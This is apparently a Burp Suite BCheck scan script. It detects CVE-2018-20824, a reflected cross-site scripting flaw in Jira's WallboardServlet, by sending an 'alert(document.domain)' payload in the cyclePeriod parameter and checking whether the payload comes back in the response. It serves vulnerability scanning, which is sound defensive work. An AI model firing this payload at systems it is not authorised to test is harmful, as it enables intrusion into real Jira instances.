Atlassian Jira WallboardServlet 7131 - Cross-Site Scripting.bcheck

metadata:
  language: v1-beta
  name: "Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting"
  description: "The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter."
  author: "DemonGod"
  tags: "xss", "cve", "jira"

run for each:
  potential_path = "/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"

given request then
  send request called jxss:
    path: {potential_path}
    method: "GET"

  if {jxss.response.status_code} is "200" and "timeout: alert(document.domain)" in {jxss.response.body} then
    report issue:
      severity: medium
      confidence: certain
      detail: "Vulnerable to CVE-2018-20824 - The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter."
      remediation: "Upgrade Jira to the latest version"
  end if